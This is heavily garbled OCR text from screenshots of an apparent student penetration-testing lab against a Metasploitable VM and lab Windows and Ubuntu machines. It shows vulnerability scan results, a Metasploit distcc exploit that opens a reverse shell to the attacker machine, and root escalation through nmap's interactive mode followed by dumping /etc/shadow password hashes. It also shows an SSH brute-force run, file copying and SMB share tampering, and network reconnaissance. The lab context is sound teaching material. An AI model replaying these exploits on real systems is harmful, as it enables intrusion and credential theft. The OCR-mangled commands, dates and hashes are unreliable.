O 192.160.56.102:513 192.168.56.102 sfp_portsean_tep 2024-08-05 07:35:32
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[ st Eement * Source ata leer * Source odule o anited .
O wmore are your 192.169.56.102:512 sfp_portsean_tep 2624-08-05 07:35:03
O gotnasetnro: Temporary ratiure 1n name resolution 102.168.56.102:514 srp_portscan_tep 2624-08-05 07:35:32
220 (vsFTPa 2.3.4) 102.168.55..102:21 s1p_portscan_tep 2624-08-95 67:35:03
O 220 metasprottate. tocataosatn ESHTP Poscrix (Ubuntu) 192.169.50.102:25 To_portscan_tep 2024-08-05 07:35:03
O e es3.000 102.168.56.102:5000 sfp_portscan_tcp 2604-68-05 67:36:02
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OffSec

No auto-refresh Logged in as |
Mon Aug 5 13:06:44 zqu uTC

Dashboard Secinfo Configuration Administration

a Filker: | ceverity>6.9 [S]x]?] ] [+ NERd

&zﬂ Results (13 of 414) %

<

Results by Severity Class (Total:

M High
o 60

55
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Compromised as

[ EH
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kdoor 25

Vulnerabilities 20 |
Multpie 15
10

0s
0.0 |
NAO 1 2 3 4 56 7 8 910 |

0o 13 EE

I N

99% 192168.56.102 2ljtcp  Mon Aug 5 12:54:312024

vsftpd Compromised Source Packages Backdoor Vulnerability

vsftpd Compromised Source Packages Backdoor Vulnerability 1 - 99% 192.168.56.102 6200/tcp  Mon Aug 5 12:54:30 2024

Possible Backdoor: Ingreslock 99% 19216856102 1524ftcp  Mon Aug 512554122024 ||
Distributed Ruby (dRuby/DRb) Multiple Remote Code Execution Vulnerabilities 99% 192.168.56.102 B8787tcp Mon Aug 5 12:51:46 2024 |
PostgresQL weak password 99% 19216856102 5432/tcp  Mon Aug 5 12:51:45 2024
PHP-CGl-based setups vulnerability when parsing query string parameters from php files 95% 192.168.56.102 8O/tcp  Mon Aug 5 12:50:45 2024

DIStCC Remote Code Execution Vulnerability 99% 19216856102 3632ftcp  Mon Aug 51250452024 ||

Test HTTP dangerous methods

VNC Brute Force Login 95% 192.168.56.102 5900/tcp  Mon Aug 5 12:50:02 2024

(o]
a
&)
5]
-]
a
a
5]
-]
a

L]
-
L}
M 00% 19216856102 80ftcp  Mon Aug 5 12:50:26 2024
L]
-

Tiki Wiki CMS Groupware < 4.2 Multiple Unspecified Vulnerabilities 80% 192.168.56.102 8O0ftcp  Mon Aug 5 12:39:32 2024
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File Actions Edit View Help

14 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell
Double Reverse TCP SSL (telnet)

mSF6 exploit(ini/iic/diiicc ciic) > set rhosts 192.168.56.102
rhosts = 192.168.56.102

mSF6 exploit(ii /o o diiicc cioc) > set lhost 192.168.56.103
Thost = 192.168.56.103

msf6 exploit(ii o o diiicc o) > set payload 6

payload = cmd/unix/reverse

msF6 exploit(ii /o diiicc cioc) > options

Module options (exploit/unix/misc/distcc_exec):

Name  Current Setting Required Description

CcHOST no The local client address

CPORT no The local client port

Proxies no A proxy chain of format type:host:port[,type:host:port][ ...

RHOSTS ~ 192.168.56.102  yes The target host(s), see https://docs.metasploit.com/docs/using
-metasploit/basics/using-metasploit.html

RPORT 3632 yes The target port (TCP)

Payload options (cmd/unix/reverse)

Name Current Setting Required Description

LHOST 192.168.56.103  yes The listen address (an interface may be specified)
LPORT 444t yes The listen port

Exploit target:
Id Name

@ Automatic Target

View the full module info with the info, or info -d command.

msf6 exploit(uni/uic/disice cec) >

& 20°C Cloudy
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msf6 exploit(unix/misc/distce_exec) >
msf6 exploit(i v/ oo/ il ciic) > exploit

[+] Started reverse TCP double handler on 192.168.56.103:4444
[+] Accepted the first client connection.
[+] Accepted the second client connection.

[+] Command: echo kPMwgYHinQSEIhDZ

[+] writing to socket A

[+] writing to socket B

[+] Reading from sockets

[+] Reading from socket B

[+] B: "KPMwgYHinQSEThDZ\r\n"

[+] Matching

[+ A is input ...

[+] Command shell session 3 opened (192.168.56.103:4444 — 192.168.56.102:49825) at 2024-08-05 09:53:08
-0400

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:5

0 UTC 2008 1686 GNU/Linux

whoami.
daenon
ifconfig
etho Link encap:Ethernet HWaddr 0 27:d6:50:3b i
inet addr:192.168.1.100 Bcast:192.168.1.255 Mask:255.255.255
inet6 addr: fes0::a00:27Ff:fed6:503b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:164 errors:0 dropped:0 overruns:o frame
TX packets:393 errors:0 dropped:0 overruns:0 carrier:@
collisions:0 txqueuelen:
RX bytes:10862 (10.6 KB) TX by -4 KB)
Base address:0xd020 Memory: 020
eth1 Link encap:Ethernet HWaddr 08:00:27:fa:32:ca
inet addr:192.168.56.102 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: feso 27ff: fefa:32ca/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:l
RX packets:398 errors:0 dropped:0 overruns:o frame
TX packets:461 errors:@ dropped:d overruns:0 carrier:o
collisions:0 txqueuelen:1
RX bytes:71688 (70.0 KB) TX bytes:77247 (75.4 KB)
Base address:0xd240 Memory:f0820000-f0840000
1o Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0
inet6 addr: ::1/128 Scope:Host
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nmap -p- 192.168.1.0/24

Starting Nmap 4.53 ( http://insecure.org ) at 2024-08-05 09:55 EDT
Interesting ports on 192.168.1.100
Not shown: 65505 closed ports
PORT STATE SERVICE
21/tcp  open ftp
22/tcp  open ssh
23/tcp open telnet
25/tcp  open smtp
53/tcp open domain
80/tcp  open http
111/tcp  open rpcbind
139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
512/tcp  open exec
513/tcp  open login
514/tcp open shell
1099/tcp open unknown
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
3632/tcp open distccd
5432/tcp open postgres
open vnc
open X11
6667/tcp open irc
6697/tcp open unknown
8009/tcp open ajpl3
8180/tcp open unknown
8787/tcp open unknown
43132/tcp open  unknown
47734/tcp open  unknown
53395/tcp open unknown
53521/tcp open unknown

ALl 65535 scanned ports on 192.168.1.101 are closed
MAC Address: 08:00:27:A3:09:BB (Cadnus Computer Systems)

Interesting ports on 192.168.1.102:
Not shown: 65523 closed ports,
PORT STATE SERVICE
135/tcp  open msrpc

139/tcp  open netbios-ssn
445/tcp  open microsoft-ds
5040/tcp open unknoun
7680/tcp open unknoun
49664/tcp open unknoun
49665/tcp open unknoun
49666/tcp open unknoun
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& Windows-10-Home [Running] - Oracle VM VirtualBox - a X
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o = Congestion Window Reduced: Not set OcipeiacTe:09100.02103 |85:04.9900)
o ECN-Echo: Not set
Urgent: Not set
Acknowledgnent: Not set
Push: Not set
Reset: Not set
Syn: set
iv ...@ = Fin: Not set
[TcP Flags 51
Window: 3072
[Calculated window size: 3072]
Checksum: @xacfe [unverified]
[Checksum Status: Unverified]
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& Windows-10-Home [Running] - Oracle VM VirtualBox - o X

Fie Machine View Input Devices Help

A Ethemet

File Edit View Go Statistics
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Help

Destination Protocol Lengtt Info

1489 22.337406
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5 00 27 do 50 3b 03 0@ 27 14 5 al 05 00
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01 64 00 52 cb 4e 00 00 00 00 da 61 15 Oc
00 00 54 35 00 00

.0 Accurate ECN: Not set
°. - Congestion Window Reduced: Not set
o. ECN-Echo: Not set

Urgent: Not set

Acknowledgnent: Set

Push: Not set

o =5yt o
: ok s
5 P i g

Window: @
[Calculated window size: 0]

[Window size scaling factor: -2 (no window scaling used)]
Checksum: @x8435 [unverified]
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49669/tcp open unknown
49670/tcp open unknown
MAC Address: 08:00:27:14:5D:A1 (Cadnus Computer Systems)

Nmap done: 256 IP addresses (3 hosts up) scanned in 116.357 seconds
nmap -sS 192.168.1.102

Starting Nmap 4.53 ( http://insecure.org ) at 2024-08-05 10:00 EDT
c

Abort session 47 [y/N] n

[+] Aborting foreground process in the shell session

Interesting ports on 192.168.1.102:

Not shown: 1711 closed ports

PORT  STATE SERVICE

135/tcp open msrpc ‘
139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:14:5D:A1 (Cadmus Computer Systems

1 TP address (1 host up) scanned in 32.612 seconds
: command not found

Nmap_done
sh: line 13

nmap -sV 192.168.1.102

Starting Nmap 4.53 ( http://insecure.org ) at 2024-08-05 10:01 EDT
Interesting ports on 192.168.1.102:

Not shown: 1711 closed ports

PORT  STATE SERVICE VERSTON

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds?

MAC Address: 08:00:27:14:5D:A1 (Cadnus Computer Systems)

Service Info: 0S: Windows

Host script results:
| Discover 0S Version over NetBIOS and SMB: OS version cannot be determined.
I_ Never received a response to SMB Negotiate Protocol Request

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/
Nmap done: 1 IP address (1 host up) scanned in 39.321 seconds
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lali@kali: ~

File Actions Edit View Help

whoami
daemon

nmap —interactive

Starting Nmap V. 4.53 ( http://insecure.org
Welcome to Interactive Mode -- press h <enter> for help
nmap> tsh

whoami
root

cat /etc/shadow

ro0t:$1$/avpfBI1$x028uSUFITv. /DRIEILId. 114747:0:99999:
daemon:+:14684:
$14684:0:99999:7
1§ FUXGBPOT My C3Up02ZQIqz4SSWFDIL0: 1474230999997

proxy:*:14684:0:99999:7
wi-data:*: 146843099999

syslog

$%:14684:0:99999:7 ;
msfadmin:$1$XN10Zj2c$Rt/zZCW3MLLUWA. ihZA5/:14684:0:99999:7
bind:#:14685:0:99999:
postfix:#:14685:0:99999
Ftp:*:14685:0:99999:7
postgres: $1§Ru35ik. x$MgQgZUUOSPACUVFIhFCYe/: 14685:0:99999:7
mysql:!:14685:0:99999:7 :
tomcatss:*:14691:0:99999:7 :
distccd:*:14698:0:99999
user: $1$HESUIXTH$K . 03693DGOXTiQKKPIUEZ0: 14699:0:99999:7 :
$18KR3UET 28 7GKELOUPTSONpOC 238/ 1471510199999

ksakthii:$1$DkoSUxYx$dFGmIGB7UZCFIVARIZMGE/ :19940:0:99999:7
ksakthi1001:$1$79vskLTy$0g6a63ePwPNZIUXrigu. 119940099999
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File Attack Passwords Help
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Open password file, Open session, ~ Start new attack Guess password  Copy  Export,_
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m ksakthiio0o1@Ubuntu24-VirtualBox: ~ Q

<sakthii001@Ubuntu24-VirtualBox:~$ ifconfig
2np0s3: flags=4163<UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.101 netmask 255.255.255.0 broadcast 192.168.1.255
ether 08:00:27:a3:09:bb txqueuelen 1000 (Ethernet)
RX packets 26 bytes 2166 (2.1 KB)
RX errors @ dropped © overruns 0 frame 0
TX packets 34 bytes 4086 (4.0 KB)
TX errors © dropped © overruns © carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 607 bytes 44574 (44.5 KB)
RX errors 0 dropped @ overruns @ frame 0
TX packets 607 bytes 44574 (44.5 KB)
TX errors 0 dropped 0 overruns @ carrier @ collisions 0

<sakthii001@Ubuntu24-VirtualBox:~$
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" ksakthiio01@Ubuntu24-VirtualBox: ~ e = D © &

TX errors © dropped 8 overruns 0 carrier 0 collisions @

ksakthii001@Ubuntu24-VirtualBox:~$ smbclient -L //192.168.1.162 -U ksakthii
Password for [WORKGROUP\ksakthii]

Sharename Type Comment
ADMINS Disk Remote Admin
[ Disk Default share
1PC$ IPC Remote IPC
share Disk

SMB1 disabled -- no workgroup available

ksakthii001@Ubuntu24-VirtualBox:~$

ksakthii001@Ubuntu24-VirtualBox:-$ smbclient //192.168.1.162/share -U ksakthii

Password for [WORKGROUP\ksakthii]

Try "help” to get a list of possible commands

smb: \> s
: D @ Mon Aug

p) @ Mon Aug

23:27:31 2024
23:27:31 2024

o

20822153 blocks of size 4696. 15215428 blocks available
smb: \> put /home/ksakthii081/Documents/mytext. txt mytext.txt

putting file /home/ksakthii®01/Documents/mytext.txt as \mytext.txt (1.5 kb/s) (a
verage 1.5 kb/s)

smb: \> s
. D © Mon Aug 5 23:35:31 2024
= D © Mon Aug 5 23:35:31 2024
mytext.txt A 30 Mon Aug 5 23:35:31 2024

20822153 blocks of size 4696. 15215428 blocks available
smb: \> I
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' File Actions Edit View Help

| rme - 2376 exploits - 1232 auxiliary - 416 post
2 1391 payloads - 46 encoders - 11 nops
. <[ 9 evasion

1
1
1

E Metasploit Documentation: https://docs.metasploit.com/

msf6 > use auxiliary/scanner/ssh/ssh_login

File Systel wsf6 auxiliary(scanner/ssh/ssh_Login) >
msf6 auxiliary(-coiner/<oh/<h Locin) > set rhosts 192.168.56.102
rhosts = 192.168.56.102

o
msf6 auxiliary(-«iio: <oi/<h looin) > set user_file /home/kali/Documents/username. txt
- user_file = /home/kali/Documents/username. txt

msf6 auxiliary(-conor/=oi/ooi looi0) > set pass_file /home/kali/Documents/password. txt
pass_file = /home/kali/Documents/password. txt

Home. mSF6 auxiliary(-carnes/<oi/<oi loiin) > set stop_on_success true
stop_on_success = true
mSf6 auxiliary(-coiner <oi/ooh lonin) > set verbose true
verbose = true
nsfé auxiliary(- -
nsfé auxiliary( -

ner/ssh/ssh_login) >
ner/ssh/ssh_login) > options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description
ANONYMOUS_LOGIN ~ false yes Attempt to login with a blank username and password
BLANK_PASSWORDS  false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (A
cepted: none, user, usersrealm)

PASSWORD no A specific password to authenticate with

PASS_FILE /home/kali/Documents/password. txt no File containing passwords, one per line

RHOSTS 192.168.56.102 yes The target host(s), see https://docs.metasploit.com/docs/usi
ng-metasploit/basics/using-metasploit.html

RPORT 22 yes The target port

STOP_ON_SUCCESS  true yes Stop guessing when a credential works for a host

THREADS 3 yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one
pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE /home/kali/Documents/username. txt no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

View the full module info with the info, or info -d command

msf6 auxiliary(-
msf6 auxiliary(-

ner/ssh/ssh_login) >
ner/ssh/ssh_login) > Il
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mSf6 auxiliary(-canncr/ <o/ <oh loain) > set bruteforce speed 4
bruteforce speed = 4

msf6 auxiliary(-cannee/<oi/<oh losin) > set threads 5

threads = 5

msf6 auxiliary(-canner/ <o/ <oh losin) > options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

ANONYMOUS_LOGIN ~ false yes Attempt to login with a blank username and password

BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 4 yes How fast to bruteforce, from 0 to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (A
cepted: none, user, usersrealm)

PASSWORD no A specific password to authenticate with

PASS_FILE /home/kali/Documents/password. txt no File containing passwords, one per line

RHOSTS 192.168.56.102 yes The target host(s), see https://docs.metasploit.com/docs/usi
ng-metasploit/basics/using-metasploit.html

RPORT 2 yes The target port

STOP_ON_SUCCESS  true yes Stop guessing when a credential works for a host

THREADS 5 yes The number of concurrent threads (max one per host)

USERNAME no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one
pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE /home/kali/Documents/username. txt no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

View the full module info with the info, or info -d command.

msf6 auxiliary(-canner/<sh/ssh login) > run

192.168.56.102:22 - Starting bruteforce
192.168.56.102:22 - Could not connect: execution expired
No active DB — Credential data will not be saved!
192.168.56.102:22 - Could not connect: execution expired
192.168.56.102:22 - Could not connect: execution expired
Scanned 1 of 1 hosts (100% complete)
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msf6 auxiliary(-:iier/<oi i locin) > options

Module options (auxiliary/scanner/ssh/ssh_login):

Name Current Setting Required Description

ANONYMOUS_LOGIN ~ false yes Attempt to login with a blank username and password

BLANK_PASSWORDS  false no Try blank passwords for all users

BRUTEFORCE_SPEED 4 yes How fast to bruteforce, from 0 to 5

DB_ALL_CREDS false no Try each user/password couple stored in the current database

DB_ALL_PASS false no Add all passwords in the current database to the list

DB_ALL_USERS false no Add all users in the current database to the list

DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, use
usersrealm)

PASSWORD msfadmin no A specific password to authenticate with

PASS_FILE no File containing passwords, one per line

RHOSTS 192.168.56.102  yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/bas
s/using-metasploit.html

RPORT 2 yes The target port

STOP_ON_SUCCESS  true yes Stop guessing when a credential works for a host

THREADS 5 yes The number of concurrent threads (max one per host)

USERNAME msfadmin no A specific username to authenticate as

USERPASS_FILE no File containing users and passwords separated by space, one pair per line

USER_AS_PASS false no Try the username as the password for all users

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

View the full module info with the info, or info -d command.

msf6 auxiliary(-onier/ssh/sh lozin) > run

[#] 192.168.56.102:22 - Starting bruteforce

[+] 192.168.56.102:22 - Success: 'msfadmin:msfadmin’ 'uid-1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdro
25(floppy),29(audio), 30(dip), 44(video), 46(plugdev), 107(fuse), 111(lpadmin), 112(admin), 119(sambashare), 1000(msfadmin) Linux met
Toitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Linux

[!] No active DB — Credential data will not be saved!

[#] SSH session 1 opened (192.168.56.103:33183 — 192.168.56.102:22) at 2024-08-05 11:11:14 -0400
[+] Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed
msf auxiliary(scommer/=o/ooh toen) >
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root@metasploitable: fhome/msfadmin/vulnerable/twiki20030201 [x]

File Actions Edit View Help
[(kali® kali)-[~]

ssh o HostKeyAlgorithms=+ssh-dss msfadning192.168.56.102
The authenticity of host '192.168.56.102 (192.168.56.102) can't be established
DSA key fingerprint is SHA256:kgTWSplAmzhSMFHNO3IpZ2/pCIZq2TNXGISh+Fy95Q

This key is not known by any other names

Are you sure you want to continue connecting (yes/no/[fingerprint])? y

Please type 'yes', 'no’ or the fingerprint: yes

Warning: Permanently added '192.168.56.102' (DSA) to the list of known hosts
msfadming192.168.56.102's password

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 1686

The programs included with the Ubuntu system are free software
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/+/copyright

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit
http://help.ubuntu.con/

No mail.

Last login: Mon Aug 5 09:49:31 2024
msfadninametasploitable:~$

msfadminametasploitable:~$ whoami

nsfadnin

msfadminametasploitable:~$ sudo su

[sudo] password for msfadmin:

rootametasploitable: /home/msfadmini
rootametasploitable: /home/msfadmin# whoami
root

rootametasploitable: /home/msfadmini
rootametasploitable: /home/msfadmini
rootametasploitable: /home/msfadmin 1s
vulnerable

rootametasploitable: /home/msfadming cd vulnerable
rootametasploitable: /home/msfadnin/vulnerables 1s

mysql-ssl  samba tikiwiki twiki20030201
rootametasploitable:/home/msfadmin/vulnerable# cd twiki20030201/
rootametasploitable: /home/msfadmin/vulnerable/twiki20030201% 1s
TWiki20030201. tar. gz twiki-source

rootametasploitable: /home/msfadmin/vulnerable/twiki20030201¢ pud
/home/ms fadmin/vulnerable/twiki20030201

rootametasploitable: /home/msfadmin/vulnerable/twiki20030201% ||

1616
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L scp -0 HostKeyAlgorithms=s+ssh-dss msfadnind192.168.56.102: /home/msfadmin/vulnerable/t
wiki20030201/TWiki20030201. tar.gz .

©

The authenticity of host '192.168.56.102 (192.168.56.102)' can't be established.
DSA key fingerprint is SHA256:kgTWSp1AmzhSMFHN93IpZf2/pCIZq2TNIGISh+Fy95Q.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '192.168.56.102' (DSA) to the Llist of known hosts.
msfadming192.168.56.102"s password:

TWiki20030201. tar.gz 100% 872KB 27.3W8/s  00:00

—(ro0t® kali)-[~
i 1s
TWiki20030201. tar.gz

—(root® kali)-[~
S pud
/root

—(root® kali)-[~
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& wind [Running] - Ora - o
Machine View Input
Recycle Bin
) 3 Administrator Win - o
Windows Pow
Copyrignt (C) Microsoft Corporation. ALL rights reserved
a Try the new cross-platform PowerShell https://aka.ns/pscores
Micresoft PS C:\Windows\system32> ipconfig
Fdge
Windows TP Configuration
Ethernet adapter Ethernet
- .
Wireshrc Connection-specific DNS Suffix
Link-local Tpvs Address FeB0: tbcef :6163:230f  cebb
IPva Address 192.168.1.102
Subnet Hask 255.255.255.0
Default Gateway 192.168.1.1

PS C:\Windows\system32> cd c:/users/ksakthii/share
PS C:\users\ksakthii\share> 1s

Directory: C:\users\ksakthii\share

Hode LastiriteTine Length Name

e5/68/2624  15:35 36 mytext.txt

PS C:\users\ksakthii\share> cat mytext.txt
Welcome to my Ubuntu Machine

PS C:\users\ksakthii\share> o

[ofop -] =) i G @ @ronc
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& wina

Machine View Input _Devi

VM VirtualB - o

e

RecycleBin

B3 Administrator

Windows Powershell
(7] copyrignt (C) Microsoft Corporation. ALl rights reserved

Microsort
tige Try the new cross-platform PowerShell https://aka.ms/pscores

PS C:\Windows\system32> ipconfig

indows IP Configuration

|2

Wiresharid

Ethernet adapter Ethernet

Connection-specific DNS Suffix
Link-local IPv6 Address FeB0: tbcef:61e3:230F  cebb%s
Ipva Address 192.168.1.102
Subnet Mask = 255.255.255.0
S Default Gateway 192.168.1.1
PS C:\Windows\system32> cd c:/users/ksakthii/share
PS C:\users\ksakthii\share> 1s

Directory: C:\users\ksakthii\share

Hode LastiriteTine Length Name

e5/68/2024  15:35 36 mytext.txt

PS C:\users\ksakthii\share> cat mytext.txt
Welcome to my Ubuntu Machine

PS C:\users\ksakthii\share> rm mytext.txt
PS C:\users\ksakthii\share> 1s
PS C:\users\ksakthii\share> o
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vulnerable
rootametasploitable: /home/msfadmini cd vulnerable
rootametasploitable: /home/nsfadmin/vulnerablei ls

mysql-ssl samba tikiwiki twiki20030201
rootametasploitable:/home/msfadmin/vulnerables cd twiki20030201/
rootametasploitable: /home/msfadmin/vulnerable/twiki20030201 15
TWiki20030201, tar.z twiki-source

rootametasploitable: /home/msfadmin/vulnerable/twiki20030201% pud
/home/msfadmin/vulnerable/twiki20030201

rootametasploitable: /home/msfadmin/vulnerable/twiki20030201% exit
exit

msfadningnetasploitable
ms fadmin
msfadningmetasploitable:
Togout

Connection to 192.168.56.102 closed

$ whoami

$ exit

kali® kali)-[~
o |

1621
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[ {xoot® kati)-~
4 ifconfig
dockerd: flags=4099<UP,BROADCAST  MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:46:e4:22:8a txqueuelen 0 (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors 0 dropped @ overruns 0 frame o
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lags=4163<UP, BROADCAST, RUNNING, MULTICAST> mtu 1500
inet 192.168.56.103 netmask 255.255.255.0 broadcast 192.168.56.255
inet6 fe80::bl0c:bd83:8303:a2e5 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:6f:63:47 txqueuelen 1000 (Ethernet)

RX packets 1949 bytes 1164196 (1.1 MiB)

RX errors 0 dropped @ overruns 0 frame 0

TX packets 1824 bytes 204223 (199.4 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

etht

ethl: flags=4163<UP,BROADCAST, RUNNING, MULTICAST> mtu 1500
inet 10.0.3.15 netmask 255.255.255.0 broadcast 10.0.3.255
inet6 fes0::444:5861:938:adcc prefixlen 64 scopeid 0x20<link>
ether 08:00:27:12:59:c2 txqueuelen 1000 (Ethernet)

RX packets 23554 bytes 30426570 (29.0 MiB)

RX errors 0 dropped @ overruns 0 frame 0

TX packets 6275 bytes 1338776 (1.2 MiB)

TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

3<UP, LOOPBACK, RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0
inet6 :: prefixlen 128 scopeid @x10<host>

loop txqueuelen 1 (Local Loopback)

RX packets 700 bytes 405034 (395.5 KiB)

RX errors 0 dropped 8 overruns 0 frame 0

TX packets 700 bytes 405034 (395.5 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

To: flag;

192.168.56.0/24

[ root@kati)-L~
4 sudo netdiscoves
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Currently scanning: Finished! | Screen Vie

: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

™ AT MAC Address  Count  Len MAC Vendor / Hostname
192.168.56.1  0a:00:27:00:00: a 60 Unknown vendor
192.168.56.100 08: 1 60 PCS Systemtechnik GmbH
192.168.56.106 08 i 60 PCS Systemtechnik GmbH
192.168.56.107 08: 1 60 PCS Systemtechnik GmbH
(root® kali)-[~

i nmblookup -A 192.168.56.106
Looking up status of 192.168.56.106

DC-SERVER <00> - B <ACTIVE>

unTSD <00> - <GROUP> B <ACTIVE>

unTSD <lc> - <GROUP> B <ACTIVE>

DC-SERVER <20> - B <ACTIVE>

unTSD <1b> - B <ACTIVE>

MAC Address = 08-00-27-76-F3-F5

(root® kali)-[~
- nmblookup -A 192.168.56.107
Looking up status of 192.168.56.107

SAKTHI-PC <00> B <CONFLICT> <ACTIVE>
uWTSD <00> - <GROUP> B <ACTIVE>
SAKTHI-PC <20> - B <CONFLICT> <ACTIVE>

MAC Address = 08-00-27-8F-72-BE

(root® kali)-[~
L host nc-server.uwTsD. con
Host DC-Server.UWTSD.com not found: 3(NXDOMAIN)

(root® kali)-[~:
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